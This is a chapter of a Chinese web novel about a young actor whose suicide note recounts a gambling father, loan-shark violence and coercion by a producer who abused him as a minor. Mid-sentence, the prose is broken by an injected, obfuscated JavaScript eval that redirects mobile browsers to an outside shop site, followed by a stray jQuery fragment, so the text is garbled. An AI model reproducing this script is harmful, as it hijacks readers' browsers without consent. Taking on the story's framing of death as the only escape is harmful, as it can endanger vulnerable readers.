赵柯留下的遗书交代了一切。
他出生一个普通的家庭,妈妈是纺织厂的工人,爸爸是基层民警。
一家三口挤在窄小破烂的四十平小屋,虽说不富裕,但胜在家庭和睦,幸福美满。
直到他小升初那年,妈妈突发心肌梗塞,没抢救回来,这个家一下子成为了块碎裂的镜子。
赵爸爸开始酗酒,喝醉后闹了事,被从派出所开除后,回到家中一蹶不振。
以前厨房里常见他忙活的身影,但现在他要么在外面彻夜不归,要么回到家中客厅上烂醉如泥,任凭赵柯怎么叫人,他都不理会。
于是赵柯学会了照顾自己。
妈妈在世时,提倡节俭,这么些年也攒了些钱,所以短时间内,哪怕赵爸爸不工作,这点存款也足以支撑到赵柯读完高中。
他开始试着做饭,有一次不小心被热油洒到了脚背,痛得他哭起来。
那天赵父在家,也没有喝醉,他听到动静,迅速跑过去,背着赵柯就去医院。
他清醒的时候很正常,还会在周边的超市兼职个送货员,赚点钱补贴家用。
除了这件事,赵父就不让赵柯进厨房了,他跟孩子保证:“爸爸我以后把酒戒掉,咱们两个好好活。”
一蹶不振的赵爸爸支棱了起来,他白天在超市打工,晚上就去大排档的地方打下手。
赵柯读的学校是寄宿制,他一周都在学校,只有周末回家。
每次回来,赵父都会给他做好吃的,在饭桌上,有时候打趣道:“爸爸以后可就靠你了,你可要好好读书啊。”
天花板上的灯泡发出暖黄的光亮,家中干干净净,整整齐齐,赵柯吃着饭点头,他依恋这样温馨的时刻。
然而一年后,中考在即,赵爸爸却沾染上了赌博。
赵柯起初没注意,直到邻居大婶好心提醒:“你最近在学校不清楚,你爸爸,哎,在三清街头的一个胡同里与人赌博,你找个机会与他说说,要不然以后耽误到你。”
少年肩上还背着书包,他站在门外,没有掏出钥匙,而是朝着三清街头尽头狂奔。
掀开厚重的门帘,里面乌烟瘴气,吵闹声不绝于耳。
赵柯在哄闹的人群中一眼就看见了背对着他的赵爸爸。
他从人群中挤过去,二话不说地就要拉着赵父离开。
赵爸爸在赌桌上不肯走,眼神陌生得赵柯不敢认。
“小柯,你别闹,回家去,自己做点饭吃,待会儿我就回来。”
“爸!”赵柯的手被挣脱开,“跟我走!”
周围人见状,纷纷笑呵呵:“老赵,这是你儿子啊?长得真俊!”
“小帅哥,这里不是你该来的地方,赶紧出去!”
“读几年级了啊?”
七嘴八舌的话涌入赵柯的耳膜,全是不怀好意的。
这些人侮辱赵柯,赵父竟然眼睛放光地盯着赌桌上的牌。
他松了手,跑了出去。
外面的空气没那么污浊了,可赵柯仍觉呼吸困难。
想到什么,他又加快步伐回到家中,翻出那个名为小柯读大学的存钱罐打开。
里面空无一物。
赵柯不可置信,他倒转铁盒子抖了抖,什么都没有,连一粒灰尘都搜刮个干净。
脊背出了一层冷汗,男生瘫坐在床上,一直没有动。
天色黑了下来,赵父没有回来。
赵柯保持着动作,一夜没睡,直到天边翻出鱼肚白,玄关处传来开门的声音。
他缓慢起身,离开卧室,来到客厅。
赵父抬头看见人,下意识道:“小柯?这么早就起床了啊?”
“我没睡。”
赵父哦哦了两声,低头换鞋。
赵柯语气很平静:“那个铁盒子中的钱去哪儿了?”
赵父已经换上拖鞋,他朝他的卧室走去,目光躲闪:“哎呀,我拿走了嘛,过几天,爸我跟你保证,绝对还回来。”
“爸!”赵柯拦住人,崩溃出声,“你不是说好了,我们好好过,等我读出书来,找到工作,你还想要去旅行不是吗?”
“也不冲突啊,”赵父丝毫没有愧疚之心,“我赌博都是为了你,你别看我现在是在输的阶段,我有预感,明天我将实现翻盘,你等着我搞笔大的,到时候,我们就不用住在这个破落小的屋子了。”
他说完也不理会赵柯,打开卧室门进去,还将门反锁,像是很烦儿子的啰嗦。
赵柯怔愣着,半晌,终于忍不住痛骂:“你能不能清醒点!那玩意儿是能碰的吗?我跟你说,我明天也不去学校了,就在家里堵你!你必须给我戒掉!”
他吼完,房间内落针可闻。
赵柯气得不行,去厨房煮了碗面吃了几口,就把书包提到客厅,自己在沙发上复习。
除了上厕所的时间,他一刻也没有离开。
一天很快就过去,气消了不少,他去敲门:“爸?醒了吗?出来吃饭,我做好了。”
“……”里面没有动静。
赵柯皱眉,抬起手哐哐地敲,声音很大:“你还认我这个儿子的话就出来,有事我们好好商量。”
“……”
赵柯转身,在家里放钥匙柜的地方找起了赵父房间的钥匙。
他一把一把地试,胜在有一把能行。
卧室内黑漆漆的,赵柯将灯打开,一看,那床上压根没什么人,一旁的窗户打开着,风往里灌。
赵柯迅速走过去,从打开的窗户往下看,早已没了人影。
他们家在二楼,赵父应该是踩着下水管道下去的。
赵柯目光发愣,半晌,终是忍不住踢了一下木床,低骂一句:“艹!”
人生命运就是这样,毫不讲理。
接下来的生活越来越糟糕,赵父整日整夜地赌,家里所有的钱都被他输光了。
赵柯劝不动,私下偷偷报了警,警察把那处赌博的地方给端了。
然而没什么用,赌博上瘾的人有个圈子,总会有人叫赵父,去到另一个地方赌。
赵柯中考完那天,下着大雨。
他没带伞,淋着雨往校外走。
车轮子碾过水洼,溅起一串透亮的水珠,人群摩肩接踵,雨滴落在行人的伞上。
滴答滴答——
赵柯摸了一把眼睛上的雨水,额头碎发全湿了。
他抬眼,朝前面走。
周围来接孩子的家长很多,一看自家孩子出来,纷纷打着雨伞往里走。
人流涌动,赵柯身影与这些人交错开来。
学校离家步行半小时,赵柯一想到家里脏乱一团,内心升腾起不适,但他还是回家了,那是他唯一的归宿。
年代久远的小区楼道很窄,白色的墙皮时不时都会脱落,掉在地面,凌乱,灰扑扑。
赵柯踩在上面,脚底被白漆沾染,往上走,留下脚印。
他上了二楼,站到一扇门前,却见门没关严实,里面传来陌生男人的声音。
“赌得起,就要还得起啊!”
“妈的!还钱!我限你三天之内把钱送到不永巷,要不然到时候,你别怪我来点狠的!”
赵柯当即皱眉,二话不说地推门进去。
一眼扫过去,屋内的家具都被砸了,空气中灰尘满天,三个露着膀子的男人围着趴在地上鼻青脸肿的赵爸爸,一人脚还踩在他的脸上。
听着动静,四人扭头看过来。
赵柯想也不想就冲了过去,推开踩赵父的那个男人,扶着自己的爸爸站起来。
“哟呵,赵晋,没想到你还有这么个俊俏的儿子啊。”踩人的那个男人头发染成黄色,脖子上戴着条金链子,被人推开也没生气,反倒饶有兴趣地看着这个男生。
赵父脸肿,眼睛也肿,视野中只有一条细缝。
他吃力地说着话:“不关他的事……”
黄毛男抱着手,歪着嘴嘲弄道:“早干嘛去了,要是不关他的事,就不要赌啊!谁让你们是父子呢,对了,有句话叫父债子偿是吧,要不这样——”
他停顿一下,还未说话,赵晋就急吼一声:“你踏马是畜生!啊——”
他话音还未落,另外的两个男人就分别踢了赵父一脚。
“爸!”赵柯扑过去,紧紧抱住他。
那些人要冲上去,黄毛慢悠悠说了句:“停……这小子未成年,悠着点不要到时候惹出事。”
这个男人说着话,蹲下身,眼睛盯着赵晋:“三天,懂吗?”
赵父忙不迭点头。
黄毛这才满意地站起来,走之前看了一眼赵柯,意味不明地笑了一声。
三人离开了房间,赵柯松开赵父,瘫坐在一边,惊魂未定。
大门敞开着,穿堂风一阵接一阵,餐桌布飘扬。
凉风吹散了惊惧,赵柯反应过来的第一时间就是质问赵父:“爸!那些人是谁?”
赵晋浑身都疼,他龇牙咧嘴地吸着凉气,混不在乎地说:“赌场老板的下属。”
“那玩意儿就那么让你上瘾吗?!啊?”赵柯冷,哪哪儿都冷,声音也颤抖得不像话,“你到底要干什么!你要连我都毁了是吗!啊?我问你!”
他吼完,房间陷入安静。
许久,赵柯站起来,眼睛里的光随着天色的暗淡也一并熄了下去。
他听到自己问:“欠多少?”
“……三十万元。”赵父不敢看儿子的眼睛。
“……”赵柯冷笑着看向别处,良久,他说,“赵晋,我的人生完了。”
三天后,那些讨债的如约而至。
赵柯他们肯定是拿不出钱的,所以只能将这间陪伴他们十几年,存蓄着赵柯母亲美好回忆的屋子抵押出去。
二人成了无家可归的人。
邻居可怜赵柯,收拾自家的杂货间出来给他。至于赵晋,鲜少有人再看到他在三清街出没。
赵柯没有去过问他,他的录取结果出来,最终也没有去高中学校报道。
不说学费,他现在连养活自己都难。
身上分文未有,邻居大婶能给他一口饭吃,不代表他能一直倚靠她家。
于是他休学,去外地打工。
白天在快递公司做分拣,晚上在大街发传单。
起初因为他未成年的原因,很多公司都不要他,最后可能是见他是在可怜,这个快递公司的老板就当他是学生来打暑假工,允许他来工作。
至于晚上的兼职就不稳定,他四处跑,什么都做过。
有一天在酒吧给一个客人上完酒后,他收到了一张名片。
那人是某传媒公司的经纪人,问他有没有意愿签约他们的公司,想不想成为明星。
赵柯当时一口回绝,没有答应。
然而第二天,他就被快递公司的老板辞退了,说上面最近查得严,他不敢再留他在公司里了。
最重要的一笔收入断了,赵柯焦虑起来。
他从来没打算不读书,所以才休学,所以才出来打工攒钱挣学费。
然而事情不顺利,晚上的兼职不稳定,根本攒不了几个钱。
他捏着那张名片,最终还是打给了那个人。
出乎他意料的是,不论是经纪人还是公司都很好。
虽然资源很差,也只能饰演一些网剧中的边缘角色,不过因为他长相出众的关系,有所曝光后,竟然开始有导演制片人主动找上来。
经纪人高兴,公司老板也很高兴,赵柯罕见地轻松了一些。
他出演一部网剧的男主,所获得的片酬是以前从来不敢肖想的。
有了能力,他每个月都会向赵父的账号里转一千。
二人之间默契着,谁也没有过问。
赵柯不知道他有没有戒赌,他想,这点钱应该够他日常花销就行。
电视剧播放数据不错,赵柯还拥有了一些喜欢他的粉丝,这点成就让他感受到了一点人生价值。
那时他几乎都要忘记所有痛苦,决定往前看,往前走,对未来有了憧憬。
完成当天的广告拍摄,经纪人领着他去面试下一部剧的角色。
那部剧的监制就是王吉。
赵柯当时并不知自己已经落入虎口,他回去后没有多久就得知自己面试上了。
签了合同,他进组
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14310991|130752||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,如常拍戏。
王吉的骚扰也紧随而至。
赵柯是直男,他起初见王吉经常接着工作的由头,把他叫去机房,与他说哪里哪里的表演不太对,压根没有多想。
直到王吉越来越过分,他开始伸手触碰赵柯的肩膀,有意无意地摸他的腰。
赵柯再迟钝,也该明白了一些。
他克制着脾气,与那人好好说:“王监制,我还有事先走了。”
自那以后,赵柯就躲着王吉,如果他叫自己去机房,赵柯也会拉上自己的经纪人一起去。
王吉当着外人的面有所收敛,次数多了,他察觉到了什么,后面就利用自己的职位便利支开了经纪人。
赵柯在他越加放肆的行为里与他撕破脸:“王监制!还请你自重,我对你没兴趣!”
以他的脾气,赵柯其实是想动手的,但是公司培养他不易,现在电视剧还在拍摄阶段,出了什么事,到时候违约金他可赔不起。
因此他才克制住恶心,隐忍王吉的骚扰。
两人之间的拉扯,剧组里的人都看在眼里。
赵柯耳边都是七嘴八舌看好戏的嘲讽声,好不容易捱到拍摄完成,他以为自己可以远离王吉了,不成想,他竟然追到了他住的地方,当着小区内的大妈大婶们,扬言到要追他。
那一瞬间,晴天霹雳也不为过。
赵柯报了警,王吉直言他是在追男生,并没有骚扰。
因为没有实际性的关键证据,王吉最终毫发无伤地离开了警局。但是也因这次赵柯果断的行为,王吉越加变本加厉,他说:“我不会生你的气,我那么喜欢你,我只是想靠近你罢了。”
对方那句话落下,赵柯动了手。
他那会儿还没有那么清瘦,力道不轻,把王吉直接打进了医院。
在被拘留了十五天后,他出来后,小区的人,网络上的人,全世界,都在谩骂他。
他遭受了前所未有的网暴。
偏偏在那时,赵父联系他的频率增高,基本上每次都是来要钱。
赵柯不给,他直接跑到他正在拍戏的片场,大闹起来,说他如何如何亏待他这个父亲的,视频被人传播到网络上,顿时腥风血雨又来一遭。
明明也只过了三年,赵晋陌生得赵柯不敢认。
他满眼浑浊,脸色沧桑,人也衰老了很多。
赵柯失望透了,他拉黑自己的父亲,也搬离了住处,去到了连经纪人都不知道的地方。
精神饱受折磨,心里千疮百孔。
到新地方的那天晚上,他没睡着,或者说他已经失眠很久了。
第二天淅淅沥沥地下着雨,空气沉闷,地面湿哒哒的,让人不自禁地烦躁。
赵柯看着窗外,生出了念头,他想退圈了。
“轰隆——”
天空惊雷作响,雨势倏而变大。
雨气争先恐后地往屋内跑,赵柯抬手正要关窗,手机叮咚一声,提示有新短信。
他本是随意地一扫,不成想,这一看,深渊将他吞没。
陌生号码发来的彩信是一张图片,画面中,赵晋被人按在地面,右手手背被人踩着,地面鲜血淋漓,割断的小拇指躺在一边。
这一幕堪称恐怖片,十分地血腥,尤其是镜头刻意放大了断掉的小拇指横截面。
鸡皮疙瘩起了一身,赵柯没去管窗户,拿起手机点开,这时刚好有一条新消息跳进来。
王吉:【要不说我们有缘呢,不要以为你躲起来我就不能找到你了,这不,你爸借高利贷借到我头上了,我不得……招待招待咱岳父大人】
王吉:【他欠了我们一百万,如果你这个作为儿子的不能替他偿还,我只能让人把他的心脏掏出来抵债了】
“哗啦啦——”
窗外的大雨瓢泼,赵柯呼吸急促,手指发抖。
他死死地抱住脑袋,神情痛苦,他不想管赵晋,但那是他的父亲。
亲情要是能杀死就好了,他的心要是变成一块石头就好了。
啊——命运,为何不对我网开一面。
赵柯心想,难道我前世是罪孽深重的恶人嘛,所以这一世,老天要惩罚我。
最终,他还是去了。
赵父活了下来,赵柯却“死”在了那个秋天。
他的身体变得不值钱,却又能产生钱。
赵晋欠的那一百万还清后,赵柯跑了。
这一躲就是六年,曾经的手机号早已注销,那时铺天盖天的谩骂也早已湮灭在时间长河里。
他参加了一档种田综艺,拥有了四个特别好的朋友。
他们真的很有趣,很善良,赵柯久违地感受到了温暖。
但他依旧生活在恐慌当中,他知道,他这一辈子都不会好过。
就是没想到那么快,王吉、赵晋,这两个噩梦缠上了他。
他应该如他以前所预料到的那样,丝毫没有慌张,内心早已接受了现实。
可等那天真的到来,他很难过……
他生出了对这个世界的一点留恋。
【你真的很帅啊】
【赵柯,这段时间不要碰水,碗我来洗】
【这是我妈托人给我带回来的祛疤膏,还不错】
【二哥,是你救了我】
【我们回家】
【对,回我们的家】
这段于秋天开始的友谊,暖得像在过春天。
可惜,他等不到春了……
赵柯不知道王吉竟然偷拍了那样的视频,那就像个悬在心头的炸弹,只要他活着,他就要每天提心吊胆地担忧它何时会爆炸开来,将他撕裂,暴露在世人的眼下。
只有死,好像才是唯一的解脱。
他希望离开这个世间之前,他尚留有一丝清白,哪怕只有一点。
于是他才会跟程三好借两百万元转给王吉,他死可以,但王吉也不要好过。
遗书中他写得很清楚,王吉早年间或者现在都在进行一些非法的高利贷敛财手段,他骚扰赵柯时,男生还在未成年,甚至发生关系时,赵柯离十八周岁还有几个月。
他并非自杀,他是被逼死的——